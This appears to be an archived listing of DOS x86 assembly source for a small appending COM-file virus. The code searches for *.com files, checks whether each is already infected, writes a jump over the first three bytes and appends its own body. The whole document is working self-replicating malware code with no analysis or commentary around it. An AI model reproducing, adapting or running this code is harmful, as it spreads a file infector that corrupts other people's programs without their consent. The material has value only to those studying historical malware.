home *** CD-ROM | disk | FTP | other *** search
- code segment
- assume cs:code,ds:code
- org 100h
-
- start:
- db 0e9h,0,0
-
- toad:
- call bounce
-
- bounce:
- pop bp
- sub bp,OFFSET bounce
-
- first_three:
- mov cx,3
- lea si,[bp+OFFSET thrbyte]
- mov di,100h
- push di
- rep movsb
-
- move_dta:
- lea dx,[bp+OFFSET hide_dta]
- mov ah,1ah
- int 21h
-
- get_one:
- mov ah,4eh
- lea dx,[bp+comsig]
- mov cx,7
-
- next:
- int 21h
- jnc openit
- jmp bug_out
-
- Openit:
- mov ax,3d02h
- lea dx,[bp+OFFSET hide_dta+1eh]
- int 21h
- xchg ax,bx
-
- rec_thr:
- mov ah,3fh
- lea dx,[bp+thrbyte]
- mov cx,3
- int 21h
-
- infect_chk:
- mov ax,word ptr [bp+hide_dta+1ah]
- mov cx,word ptr [bp+thrbyte+1]
- add cx,horny_toad-toad+3
- cmp ax,cx
- jz close_up
-
- jmp_size:
- sub ax,3
- mov word ptr [bp+newjump+1],ax
-
-
-
- to_begin:
- mov ax,4200h
- xor cx,cx
- xor dx,dx
- int 21h
-
- write_jump:
- mov ah,40h
- mov cx,3
- lea dx,[bp+newjump]
- int 21h
-
- to_end:
- mov ax,4202h
- xor cx,cx
- xor dx,dx
- int 21h
-
- write_body:
- mov ah,40h
- mov cx,horny_toad-toad
- lea dx,[bp+toad]
- int 21h
-
- close_up:
- mov ah,3eh
- int 21h
-
- next_bug:
- mov ah,4fh
- jmp next
-
- bug_out:
- mov dx,80h
- mov ah,1ah
- int 21h
- retn
-
-
- comsig db '*.com',0
- thrbyte db 0cdh,20h,0
- newjump db 0e9h,0,0
-
- horny_toad label near
-
- hide_dta db 42 dup (?)
-
- code ENDS
- END start
-
-
-